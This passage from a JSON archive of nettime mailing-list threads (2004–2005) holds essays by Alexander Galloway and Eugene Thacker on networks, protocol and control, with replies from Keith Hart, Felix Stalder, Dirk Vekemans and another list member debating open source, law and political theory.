condition, it will be sculpted anew into\nsomething better, something in closer agreement with the real wants and\ndesires of its users.\n\nThe third point has to do with structure. Because networks are\n(technically) predicated on creating possible communications between\nnodes, oppositional practices will have to focus less on the\ncharacteristics of the nodes, and more on the quality of the\ninteractions between nodes. In this sense the node-edge distinction will\nbreak down. Nodes will be constructed as a byproduct of the creation of\nedges, and edges will be a precondition for the inclusion of nodes in\nthe network. Conveyances are key. From the oppositional perspective,\nnodes are nothing but dilated or relaxed edges, while edges are\nconstricted, hyper-kinetic nodes. Nodes may be composed of clustering\nedges, while edges may be extended nodes.\n\nUsing various protocols as their operational standards, networks tend to\ncombine large masses of different elements under a single umbrella. The\nfourth point we offer, then, deals with motion: counterprotocol\npractices can capitalize on the homogeneity found in networks to\nresonate far and wide with little effort. Again, the point is not to do\naway with standards or the process of standardization altogether, for\nthere is no imaginary zone of non-standardization, no zero-place where\nthere is a ghostly, pure flow of only edges. Protocological control\nworks through inherent tensions, and as such, counterprotocol practices\ncan be understood as tactical implementations and intensifications of\nprotocological control.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "date": "Wed, 24 Mar 2004 09:26:40 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200403250301.i2P31q319480 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00090.html",
                        "list": "nettime_l",
                        "author_name": "Alexander Galloway",
                        "subject": "<nettime> The Limits of Networking"
                    },
                    {
                        "from": "\"auskadi {AT} tvcabo.co.mz\" <auskadi {AT} tvcabo.co.mz>",
                        "content": "\nAlexander\n\nHi, I am glad this got posted again as it helps me get back to trying to \nput a line of thought together.\n\nI have been trying to think through these two points you raise. They \nresonate with me in a way that doesn't seem to have been picked up in \nthe discussion to date.\n\n> The second point is about tactics. In reality, counterprotocological\n> practice is not \"counter\" anything! Saying that politics is an act of\n> \"resistance\" was never true, except for the most literal interpretation\n> of conservatism. We must search-and-replace all occurrences of\n> \"resistance\" with \"impulsion\" or perhaps \"thrust.\" Thus the concept of\n> resistance in politics should be superceded by the concept of\n> hypertrophy. Resistance is a Clausewitzian mentality; the strategy of\n> maneuvers teaches us instead that the best way to beat an enemy is to\n> become a better enemy. One must push through to the other side, rather\n> than drag one's heels. There are two directions for political change:\n> resistance implies a desire for stasis or retrograde motion, but\n> hypertrophy is the desire for pushing beyond. The goal is not to destroy\n> technology in some neoluddite delusion, but to push technology into a\n> hypertrophic state, further than it is meant to go. We must scale up,\n> not unplug. Then, during the passage of technology into this injured,\n> engorged, and unguarded condition, it will be sculpted anew into\n> something better, something in closer agreement with the real wants and\n> desires of its users.\n>\n> The third point has to do with structure. Because networks are\n> (technically) predicated on creating possible communications between\n> nodes, oppositional practices will have to focus less on the\n> characteristics of the nodes, and more on the quality of the\n> interactions between nodes. In this sense the node-edge distinction will\n> break down. Nodes will be constructed as a byproduct of the creation of\n> edges, and edges will be a precondition for the inclusion of nodes in\n> the network. Conveyances are key. From the oppositional perspective,\n> nodes are nothing but dilated or relaxed edges, while edges are\n> constricted, hyper-kinetic nodes. Nodes may be composed of clustering\n> edges, while edges may be extended nodes.\n\nBoth of these points to me seem to be building upon two ideas that I \nhave been tossing around in relation to \"the power of life\" and the idea \nof \"ease\" that Agamben talks about int he Coming Community.\n\nIn your Protocol article from rethinking Marxism you quoted Deleuze \nquoting Foucault ....\n\n\"[1] \u0085 power \u0085 takes life as its aim or object, then resistance to power \nalready puts itself on the side of life, and turns life against power . \n. . [2] Life becomes resistance to power when power takes life as its \nobject . . . [3] When power becomes bio-power resistance becomes the \npower of life, a vital power that cannot be confined within species, \nenvironment or the paths of a particular diagram\"\n\nNow I have been playing with this and with things that came out of \ndifference and repetition for some time, trying to grapple with legal \nthings and ways of re imagining relationships and law. I started out \nthinking about this in respect of work I had done with Aboriginal \nartists in Australia and the way the courts accommodated \"communal \nproduction\" within the law of copyright using principles of equity.\n\nHere is a snip from the paper I gave back then at UF \n(http://openflows.org/%7Eauskadi/shapeoflaw.html) which cited that part \nof Protocol:\n\n\nTo go back to Deleuze \"If exchange is the criterion of generality, theft \nand gift are those of repetition. There is, therefore, an economic \ndifference between the two\".[46] Similarly, the idea of equity acts, in \npersonem, on the conscience and conduct of people towards an end, where \nthe concept of law acts in rem, on property, based upon rules. Thus \nthere is an economic difference between a law that acts over property \nand an equitable idea that acts on the person's conscience. Equity's \nlanguage, like repetitions, is also of gift and theft. Equity deals with \ngifts (fiduciaries, trusts, wills, intention) and with theft (undue \ninfluence, unconscionability, restitution and other breaches of \nequitable duties). It may be here that in their economic and quality and \nin their language, equity and repetition are most closely related.\nEquity can be said not to be about the concept of rules but about an \nidea, a bevaviour. It not only looks to substance, over form it regards \nas done, what ought to have been done, thus one who seeks equity must \ncome with clean hands, they must have done equity themselves to be \nentitled to equity's relief. It will not reward those that it regards as \nscoundrels, those lacking in conscience or virtue.\nEquity builds its body of law, its \"artifact \u0085 and testament\"[47] not \nthrough the creation of rules but through the idea of repeating \nbehaviour over time. The singular repetition of equity is the \"singular \nsubject, the interiority and the heart of the other\"[48], its \"artifact\" \nthe \"other is only the external envelope, the abstract effect\".[49]\n\nNow the problem with my equity argument here is that it can easily be \nread as saying lets just adopt this aspect of the positive legal system \nin our tactics .... some have seen it like that. But the more I have \ndone my research on Floss, the GPL etc the more I have become convinced \nthat like so many aspects of law today they exist within a state of \nexception. My rough thinking at the moment as that like the current \nstate of international law or the way in which positive law treats \nindigenous\nlaw the current state of intellectual property law in relation to \nsoftware I think can also fairly be described as existing in such a \n\"state of exception\". On the constitutional side or that of \"positive \nlaw\" there exists a state whereby many of the modernists underpinnings \nof legal theory are up in the air. This explains why I think many of the \nU.S. legal academics (eg Lessig) and those within the open source \nmovement (eg Moglen etc) have great difficulty in explaining why legal \ndecision making by courts and governments is at odds with their \nunderstanding of the basis of the law. It also positions their inability \nto move out of this discourse and I think the failings of their \napproach. As I keep arguing what is important for law now appears to be \nits economic functionality and not modernist legal theory. On the other \nhand the main legal response by the free software movement, the GPL or \nGeneral Public Licence itself seems to exist with this state of \nexception, that is it only has validity whilst it retains the appearance \nof the force of law. One point is that this seemingly discrete area of \nlaw in fact reflects(and could even be central, tied as it is to new \nforms of production, i.e. to immaterial labour) the broader state of \nexception and tendency toward imperial society. Anther point and maybe \nmore relevant here is that rather than \"pushing through to the other \nside\" the GPL etc remains within that side and in my view (as outlined \nin my recent article http://openflows.org/~auskadi/foreigner.html) risks \nbeing firmly entrenched on that/this side.\n\nSo I suppose my question is, or my observation is, that does one \"push \nthrough to the other side\" by adopting what (even though now you reject \nthe term resistance - I can see why) you described or took as resistance \nbefore - \"resistance becomes the power of life\"? Secondly to focus \"more \non the quality of the interactions between nodes\" raises with me (as I \nallude to above) what Agamben talked about when he discusses \"ease\". In \nline with the \"the power of life\" this quality of interaction seems to \ninvolve the \"substituting (yourself) for someone else, that is, to be \nChristians in the place of others\"( Agamben at 23).\n\nFrankly what worries me with lots of our talk of new media, intellectual \nproperty, information etc etc is that in some ways they seem to reject \nthe idea of the possibility of \"separate\" commons. That is that there is \na call for \u0093universals of communication\" which in some ways are bland \nand shallow attempts to claim to be pursuing forms of life or pushing \nthrough to the other side. After reading a fairly recent Negri piece on \nthe commons \n(http://mozambique.twiki.us/twiki/bin/view/Main/NegriAndVirnoOnTheCommon) \nI felt a little heartened that maybe the commons of which we speak is \nnot a universal commons a \"free\" (as in freedom) commons but one that \nrequires us to treat others with \"ease\" and act with the \"power of life\".\n\nMaybe what I am getting at here is that we are all pretty clear now that \nnetworks et al are the new way of doing things but the question is for \nwhat do those networks exist - over or of life? To continue just to laud \nnetworks and free information to me gets us nowhere (hence my fairly \nnegative piece recently). But this question that I see in your piece \nseems to be in many ways a core issue. But we need to start to really \ngrapple with how to act \"of life\" how to act with \"ease\" without just \nrepeating the mantras of freedom which really are pretty meaningless for me.\n\nI hope somehow what I toying with is not lost in this muddle of thought.\n\nThanks\n\nMartin\n\n-- \nhttp://www.auskadi.tk/\n\"the riddle which man must solve, he can only solve in being, in \nbeing what he is and not something else....\"\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00093",
                        "date": "Thu, 25 Mar 2004 12:06:56 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200403251330.i2PDU9U22844 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0403/msg00093.html",
                        "content-type": "text/plai",
                        "author_name": "auskadi {AT} tvcabo.co.mz",
                        "subject": "Re: <nettime> The Limits of Networking"
                    }
                ],
                "message-id": "200403152222.i2FMMcj15800 {AT} bbs.thing.net",
                "date": "Mon, 15 Mar 2004 17:22:42 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00022",
                "content": "\nThe Ghost in the Network\n\nIn discussing the difference between the living and the nonliving,\nAristotle points to the phenomena of self-organized animation and\nmotility as the key aspects of a living thing. For Aristotle the\n\"form-giving Soul\" enables inanimate matter to become a living organism.\nIf life is animation, then animation is driven by a final cause. But the\ncause is internal to the organism, not imposed from without as with\nmachines. Network science takes up this idea on the mathematical plane,\nso that geometry is the soul of the network. Network science proposes\nthat heterogeneous network phenomena can be understood through the\ngeometry of graph theory, the mathematics of dots and lines. An\ninteresting outcome of this is that seemingly incongruous network\nphenomena can be grouped according to their similar geometries. For\ninstance the networks of AIDS, terrorist groups, or the economy can be\nunderstood as having in common a particular pattern, a particular set of\nrelations between dots (nodes) and lines (edges). A given topological\npattern is what cultivates and sculpts information within networks. To\nin-form is thus to give shape to matter (via organization or\nself-organization) through the instantiation of form--a network\nhylomorphism.\n\nBut further, the actualized being of the living network is also defined\nin political terms. \"No central node sits in the middle of the spider\nweb, controlling and monitoring every link and node. There is no single\nnode whose removal could break the web. A scale-free network is a web\nwithout a spider\" [1]. Having-no-spider is an observation about\npredatory hierarchy, or the supposed lack thereof, and is therefore a\ndeeply political observation. In order to make this unnerving jump--from\nmath (graph theory), to technology (the Internet), to politics (\"a web\nwithout a spider\")--politics needs to be seen as following the necessary\nand \"natural\" laws of mathematics; that is, networks need to be\nunderstood as \"an unavoidable consequence of their evolution\" [2]. In\nnetwork science, the \"unavoidable consequence\" of networks often\nresembles something like neoliberal democracy, but a democracy which\nnaturally emerges according to the \"power law\" of decentralized\nnetworks. Like so, their fates are twisted together.\n\nRhetorics of Freedom\n\nWhile tactically valuable in the fight against proprietary software,\nopen source is ultimately flawed as a political program. Open source\nfocuses on code in isolation. It fetishizes all the wrong things:\nlanguage, originality, source, the past, status. To focus on inert,\nisolated code is to ignore code in its context, in its social relation,\nin its real experience, or actual dynamic relations with other code and\nother machines. Debugging never happens through reading the source code,\nonly through running the program. Better than open source would be open\nruntime which would prize all the opposites: open articulation, open\niterability, open practice, open becoming.\n\nBut this is also misleading and based in a rhetoric around the relative\nopenness and closedness of a technological system. The rhetoric goes\nsomething like this: technological systems can either be closed or open.\nClosed systems are generally created by either commercial or state\ninterests-courts regulate technology, companies control their\nproprietary technologies in the market place, and so on. Open systems,\non the other hand, are generally associated with the public and with\nfreedom and political transparency. Geert Lovink contrasts \"closed\nsystems based on profit through control and scarcity\" with \"open,\ninnovative standards situated in the public domain\" [3]. Later, in his\nelucidation of Castells, he writes of the opposite, a \"freedom hardwired\ninto code\" [4]. This gets to the heart of the freedom rhetoric. If it's\nhardwired is it still freedom? Instead of guaranteeing freedom, the act\nof \"hardwiring\" suggests a limitation on freedom. And in fact that is\nprecisely the case on the Internet where strict universal standards of\ncommunication have been rolled out more widely and more quickly than in\nany other medium throughout history. Lessig and many others rely heavily\non this rhetoric of freedom.\n\nWe suggest that this opposition between closed and open is flawed. It\nunwittingly perpetuates one of today's most insidious political myths,\nthat the state and capital are the two sole instigators of control.\nInstead of the open/closed opposition we suggest the pairing\nphysical/social. The so-called open logics of control, those associated\nwith (non proprietary) computer code or with the Internet protocols,\noperate primarily using a physical model of control. For example,\nprotocols interact with each other by physically altering and amending\nlower protocological objects (IP prefixes its header onto a TCP data\nobject, which prefixes its header onto an HTTP object, and so on). But\non the other hand, the so-called closed logics of state and commercial\ncontrol operate primarily using a social model of control. For, example,\nMicrosoft's commercial prowess is renewed via the social activity of\nmarket exchange. Or, using another example, Digital Rights Management\nlicenses establish a social relationship between producers and\nconsumers, a social relationship backed up by specific legal realities\n(DMCA). Viewed in this way, we find it self evident that physical\ncontrol (i.e. protocol) is equally powerful if not more so than social\ncontrol. Thus, we hope to show that if the topic at hand is one of\ncontrol, then the monikers of \"open\" and \"closed\" simply further confuse\nthe issue. Instead we would like to speak in terms of \"alternatives of\ncontrol\" whereby the controlling logic of both \"open\" and \"closed\"\nsystems is brought out into the light of day.\n\nPolitical Animals\n\nAristotle's famous formulation of \"man as a political animal\" takes on\nnew meanings in light of contemporary studies of biological\nself-organization. For Aristotle, the human being was first a living\nbeing, with the additional capacity for political being. In this sense,\nbiology becomes the presupposition for politics, just as the human\nbeing's animal being serves as the basis for its political being. But\nnot all animals are alike. Deleuze distinguishes three types of animals:\ndomestic pets (Freudian, anthropomorphized Wolf-Man), animals in nature\n(the isolated species, the lone wolf), and packs (multiplicities). It is\nthis last type of animal--the pack--which provides the most direct\ncounter-point to Aristotle's formulation, and which leads us to pose a\nquestion: If the human being is a political animal, are there also\nanimal politics? Ethnologists and entymologists would think so. The ant\ncolony and insect swarm has long been used in science fiction and horror\nas the metaphor for the opposite of Western, liberal democracies. Even\nthe language used in biology still retains the remnants of sovereignty:\nthe queen bee, the drone. What, then, do we make of theories of\nbiocomplexity and swarm intelligence, which suggest that there is no\n\"queen\" but only a set of localized interactions which self-organize\ninto a whole swarm or colony? Is the \"multitude\" a type of animal\nmultiplicity? Such probes seem to suggest that Aristotle based his\nformulation on the wrong kinds of animals. \"You can't be one wolf,\" of\ncourse. \"You're always eight or nine, six or seven\" [5].\n\nAd Hoc\n\nUnplug from the grid. Plug into your friends. Adhocracy will rule.\nAutonomy and security will only happen when telecommunications operate\naround ad hoc networking. Syndicate yourself to the locality.\n\nAlexander Galloway and Eugene Thacker\n\n+ + +\n\n[1] Albert-Laszlo Barabasi, Linked (Cambridge: Perseus Publishing,\n2002), p. 221.\n\n[2] Ibid.\n\n[3] Geert Lovink, My First Recession (Rotterdam: V2, 2003), p. 14.\n\n[4] Ibid., p. 47.\n\n[5] Gilles Deleuze and Felix Guattari, A Thousand Plateaus (Minneapolis:\nUniversity of Minnesota Press, 1987), p. 29.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0505/msg00022.html",
                "list": "nettime_l",
                "author_name": "Alexander Galloway and Eugene Thacker",
                "subject": "<nettime> The Ghost in the Network",
                "from": "Alexander Galloway and Eugene Thacker <galloway {AT} nyu.edu>",
                "follow-up": [
                    {
                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                        "content": "\n>In discussing the difference between the living and the nonliving,\n>Aristotle points to the phenomena of self-organized animation and\n>motility as the key aspects of a living thing. For Aristotle the\n>\"form-giving Soul\" enables inanimate matter to become a living organism.\n>If life is animation, then animation is driven by a final cause. But the\n>cause is internal to the organism, not imposed from without as with\n>machines. Network science takes up this idea on the mathematical plane,\n>so that geometry is the soul of the network. \n\n>Unplug from the grid. Plug into your friends. Adhocracy will rule.\n>Autonomy and security will only happen when telecommunications operate\n>around ad hoc networking. Syndicate yourself to the locality.\n\nI wasn't sure until the end if these guys were on Aristotle's side or \nnot. But their resounding call to \"stop the world, I want to get off\" \nmakes it clear that they share his reactionary conservatism. It is worth \nrecalling that the great philosopher was tutor to the leader of those \nMacedonian thugs who finally pulled the plug on the first millennium \nBC's drive towards urban commercial civilisation and was the godfather \nof catholic apologists for the military agrarian complex like Aquinas. \nEuropean socialism has long been in thrall to their anti-market ideology \nand this repudiation of an open source approach to network society is no \ndifferent.\n\nIncidentally, graph theory has been pronounced out-of-date by the \nsources they cite -- for its assumptions of stasis, randomness and \natomism which can't make sense of network growth with preferences.\n\nKeith Hart\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00023",
                        "date": "Tue, 17 May 2005 11:40:06 +0200",
                        "to": "nettime <nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1DY1F4&#45;00026W&#45;L6 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0505/msg00023.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Hart",
                        "subject": "Re: <nettime> The Ghost in the Network"
                    },
                    {
                        "from": "elix Stalder <felix {AT} openflows.org>",
                        "content": "\nOn Monday, 16. May 2005 12:56, Alexander Galloway and Eugene Thacker wrote:>\n\n> We suggest that this opposition between closed and open is flawed. It\n> unwittingly perpetuates one of today's most insidious political myths,\n> that the state and capital are the two sole instigators of control.\n> Instead of the open/closed opposition we suggest the pairing\n> physical/social. The so-called open logics of control, those associated\n> with (non proprietary) computer code or with the Internet protocols,\n> operate primarily using a physical model of control. For example,\n> protocols interact with each other by physically altering and amending\n> lower protocological objects (IP prefixes its header onto a TCP data\n> object, which prefixes its header onto an HTTP object, and so on). But\n> on the other hand, the so-called closed logics of state and commercial\n> control operate primarily using a social model of control. For, example,\n> Microsoft's commercial prowess is renewed via the social activity of\n> market exchange. Or, using another example, Digital Rights Management\n> licenses establish a social relationship between producers and\n> consumers, a social relationship backed up by specific legal realities\n> (DMCA). Viewed in this way, we find it self evident that physical\n> control (i.e. protocol) is equally powerful if not more so than social\n> control. Thus, we hope to show that if the topic at hand is one of\n> control, then the monikers of \"open\" and \"closed\" simply further confuse\n> the issue. Instead we would like to speak in terms of \"alternatives of\n> control\" whereby the controlling logic of both \"open\" and \"closed\"\n> systems is brought out into the light of day.\n\n\nI think this equation of \"protocol = control\", which is also the core of \nGalloway's stimulating book [1], is fundamentally flawed, because it mixes \nterms in ways that is not helpful to a critical political analysis.\n\nA protocol, technical or social, is a series of standards which regulate \nhow different entities can interact without the establishment of a formal \nhierarchy. Remember, the term originated in the context of exchanges \nbetween the king and foreign diplomats. The key about this relationship \nwas that the diplomats were not the king's subjects, yet the diplomats \nwere the equal to the king. They were different. The purpose of a protocol \nwas to allow them to interact without the establishment of a formal \nhierarchy.\n\nTo argue that the protocol now, somehow, controlled the king and the \ndiplomats seems strange. The same problem occurs when arguing that the \nInternet Protocol is somehow the ultimate controlling mechanism of the \nInternet. The fact that communication takes place within certain \nconstraints, which enable communication in the first place, does not \nequate control. Rather, constraints on one level (the protocol of \ncommunication) can provide the grounds for freedom on an other level \n(content of communication). This is social theory 101.\n\nThe whole argument of protocol = control seems to rest on a somewhat \nunimaginative reading of Foucault's micro physics of power, in which he \nargued that language itself is a main source of power and that the \nestablishment of categories (e.g. madness) was itself a supreme act of \npower.  To transfer this one-on-one to protocols of communication \nnetworks, yields yet another control phantasy (or nightmare, depending on \nyour agenda). The only choice it leaves you is to jump into a some sort of \n'pre-social' state. And this is precisely what Galloway & Thacker offer \nus:\n\n> Unplug from the grid. Plug into your friends. Adhocracy will rule.\n> Autonomy and security will only happen when telecommunications operate\n> around ad hoc networking. Syndicate yourself to the locality.\n\nWhat we have here is the 'social' vs. the 'technical', and the 'unplanned' \nvs. the 'planned'. Why this should lead to more freedom is dubious. Unless \nwe understand freedom as absence of rules and control as presence of \nrules. This, however, is a very misleading understanding of these \nconcepts, as has been argued often, not the least by in the feminist \ncritique of the anti-authoritarian social movements of the late 1960s. [2]\n\n\nPS: I am not arguing that protocols cannot be used as mechanism of social \ncontrol. Rather, this has to be established on a case-by-case basis, \nrather than pronouncing protocols as means of control per se.\n\n\n[1] Galloway, Alexander R. (2004). Protocol: How Control Exists After \nDecentralization. Cambridge, MA, MIT Press\n\n[2] Freeman, Jo (1972). The Tyranny of Structurelessness. The Second Wave. \nVol. 2 No. 1 http://www.jofreeman.com/joreen/tyranny.htm\n\n \n\n\n\n\n\n----+-------+---------+---\nhttp://felix.openflows.org\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00024",
                        "date": "Tue, 17 May 2005 17:05:01 -0400",
                        "to": "Nettime-l {AT} bbs.thing.net",
                        "message-id": "E1DY3r9&#45;0003tT&#45;Dt {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0505/msg00024.html",
                        "content-type": "text/plai",
                        "author_name": "Felix Stalder",
                        "subject": "Re: <nettime> The Ghost in the Network"
                    },
                    {
                        "from": "\"Dirk Vekemans\" <dirk.vekemans {AT} chello.be>",
                        "content": "\nI am new to this list,please forgive my ignorance and my clumsy\nwordings, i read  this stimulating text by Galloway & Thacker on Rhizome\n(thanks to Geert).  I wanted to respond, tried first on Rhizome, made a\nmailing mistake there, but i suppose this is the place to do so...\n\nOn the Ghost in network part, on the rhetoric of freedom in particular (I\nquote the authors first): \n\"Later, in his elucidation of Castells, he (=Lovink, dv) writes of the\nopposite, a \"freedom  hardwired into code\" [4]. This gets to the heart of\nthe freedom rhetoric. If it's hardwired is it still freedom? Instead of\nguaranteeing freedom, the act of \"hardwiring\" suggests a limitation on\nfreedom. And in fact that is precisely the case on the Internet where strict\nuniversal standards of communication have been rolled out more widely and\nmore quickly than in any other medium throughout history. Lessig and many\nothers rely heavily on this rhetoric of freedom.\"\n\nAs with any rhetoric, this may be beside the point, and therefore pointing\ntowards it: regardless of the how's why's of software development,\nregardless of its supposedly 'open-' or 'closedness', all software i know\nhas too much artificiality 'hardwired' into it, not because it efficiently\nreflects a mechanic ontology and because therefore it is too much of a\nmachine to deal with organic processes, but because it isn't machinic enough\n(cfr. Deleuze on Leibniz' critique of Descartes, Le Pli, p12) : we are now\nnoticing matter-shape interactions on macro levels (supra human if you want,\ni hate these metaphores) such as the selforganisation of internet as well as\non micro levels ('below' our field of perception, although that topology\nisn't sustainable either) that point towards a dissolution of that old\ndualism in favour of multiplicity and Deleuze's 'becoming'. \n\nMatter unfolding into its shape and shape folding into its matter.\nDifference>absence>difference.\n\nIn the self-inflicted urgency that is very much the essence of software\ndevelopment ( we need better software faster to 'regain' control of a global\nprocess running wild, or at least to radically slow down some processes that\nlead to quasi immediate annihilation), we are perhaps too much focussed on\nthe immediate results the object-oriented approach gives us. In doing so we\nhave ***rightfully***, i do want to stress that, disregarded alternatives.\nBecause we need results fast, ever faster. But in doing so, we are now in a\nstage where systems need to be developed to run systems to run systems to\ninfinity: we are stuck in a hysteresis of developing cycles feeding itself\nwith ever more need.\n\nThe 'solution' or escape route offered here ('Unplug from the grid.\"\n\"Adhocracy will rule\") is one that i have given considerable thought in the\npast but always rejected. I have seen beautiful artistical results come off\nit. I appreciate its inherent beauty, the arcadian attraction of it. But I\ndo not like the defaitism that goes with it. \n\nIt is as much a solution as taking out your tent and go camping near the\nRocky Mountains for the rest of your life. You cannot unplug from the grid,\nthe grid is taking shape within you, within the micro-economics of your\nfriendly circles, within the micro power balancing within the machine-you. \nIt is not a malignant ghost. It has nothing to do with good or evil and\ncertainly nothing to do with transcendance, although many religious\norganisations base their very worldly power on that interpretation.\nMechanical machines will give us mechanical results, if left running by\nthemselves, i don't see anything 'bad' or devilish there.\n\nMachinical machines, on the other hand,in the Deleuzian sense of 'machine',\nwould give us machinical results, and take the 'natural' flow of\nmatter-shape (in)formation along with them into the technology that enables\nthem.\n I don't see anything 'good' or messianistic there either. It's just that\neverything i can observe points in that direction, i wouldn't presume to say\nanything like this with my limited knowledge if that weren't the case. Heck,\nI just noticed mr Sondheim's work deals with some of the questions i'm\nworking on...\n\n So somehow I believe alternatives can be developed into working information\nsystems that could supplement and even unhinge our current critical\ncondition. I'm making some very modest efforts towards that with what i know\nof programming and the semantical to ontological implications of poetry.\n\nBefore today,i didn't see where these things were being researched, but i am\nentertaining hunches that process thought as expressed in the work of the\nLeibniz-Deleuze-Whitehead trail in ontology could find its reflection in\nworking models of such alternatives and that our current practice of\nobject-oriented programming should be subjected to a critical analysis, not\nbecause it's bad or malfunctioning, but because we need to understand how\nthe shape of it turns to matter there. And these programmatic approaches\ndidn't come into being all of a sudden, they built upon a dominant ontology\nthemselves (as Philip E. Agre points out in The Practical Logic of Computer\nWork at http://polaris.gseis.ucla.edu/pagre/practical.html) and they are\nmodelled after them.\nSo we need to know how the transcoding process that Lev Manovich explains in\nhis 'The Language of New Media', the way how our daily interaction with\ncomputer (networks) influences our strains of thoughts on every level, how\nthat really works, how it affects us and more importantly, how we could\naffect it. \n\n I think IT matters, if you want a slogan. Or computers need sex, if you\nwant a provocative one. And i think a lot of people should be doing this\nkind of research, not just some halfwit poet from kessel-lo without any\nresources, although of course i know a thing or two about how poetry works\nand how semantical processes at work there could be correlated to basic\nconcepts in programming like recursive definition and garbage collection to\nname a few directions my own wreckage is floating in. I'm happy to notice\nsome people are doing it here and with much more of the expertise required\nto do so. One would need to take another go at AI from the point before it\nwent pragmatical, disassemble that and start rebuilding on, why not, a\nbetter phenomenology of analogic/discrete (referring to mr Sondheim's last\npost) although my guess is you do _not_ need to actually 'solve' any deep\nontological and epistemological issues to get anywhere: if you allow the\nprocess of machine-building sufficient 'air-space' the 'text' will write\nitself, much like a poem goes ding-dong when it has finished being written\nand starts writing itself into reality. It is a process that dissolves time\nand space alltogether, in a way, anyone who's had the experience will\ntestify to a sense of timelessness while writing/being ridden by and waking\nup afterwards without any memory of the actual writing. There's nothing\nmystical/romantic/visionary involved there, i think, it's just nature having\nits way. Very deterministic in the end, i'm afraid, inasmuch as that freedom\nis, epitemologically, a rather irrelevant question, only of (ab)use in\nrhetorical games of power after the fact, post-mortem if you want and mostly\ngoing on in equal bad taste as asking how it was after having intimate sex.\nAnyway,i've noticed programming doing the very same chemistry in my cranky\nbrain...\n\nIn a modest way i am steering my shaky Cathedral of erotic Misery, a net\narty project at http://www.vilt.net/nkdee towards these goals. Just please\ndon't ask me how i propose to realize such alternatives, i'm just in the\nmiddle of trying to formulate some notes that could lead towards a possibly\nworkable hypothesis in the best of scientific tradition, eventually. Anyone\nis invited to join in the process of theory building, although at this stage\nfor the actual authoring stuff, i hang on to a very male and as yet\ntyranical core authoring process, collaboration is nice but impossible when\nthere's nothing to collaborate on...\nVery theoretically it could lead to results, following it's own recursively\ndefined flow or growth. Notes towards a supreme fiction, if you want Wallace\nStevens in the game, although his poetry unfolds far beyond his ontology.\n\ngreetings,\ndv\n\n\nwww.vilt.net\n\n\n\n-----Original Message-----\nFrom: nettime-l-request {AT} bbs.thing.net\n[mailto:nettime-l-request {AT} bbs.thing.net] On Behalf Of Alexander Galloway and\nEugene Thacker\nSent: maandag 16 mei 2005 18:56\nTo: nettime-l {AT} bbs.thing.net\nSubject: <nettime> The Ghost in the Network\n\nThe Ghost in the Network\n\nIn discussing the difference between the living and the nonliving,\nAristotle points to the phenomena of self-organized animation and\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00026",
                        "date": "Wed, 18 May 2005 13:57:33 +0200",
                        "to": "<nettime-l {AT} bbs.thing.net>",
                        "message-id": "E1DYSC6&#45;0001F7&#45;B4 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0505/msg00026.html",
                        "content-type": "text/plai",
                        "author_name": "Dirk Vekemans",
                        "subject": "RE: <nettime> The Ghost in the Network"
                    }
                ],
                "message-id": "E1DXs1o&#45;0006lh&#45;8O {AT} bbs.thing.net",
                "date": "Mon, 16 May 2005 12:56:01 -0400",
                "content-type": "text/plai"
            },
            {
                "id": "00041",
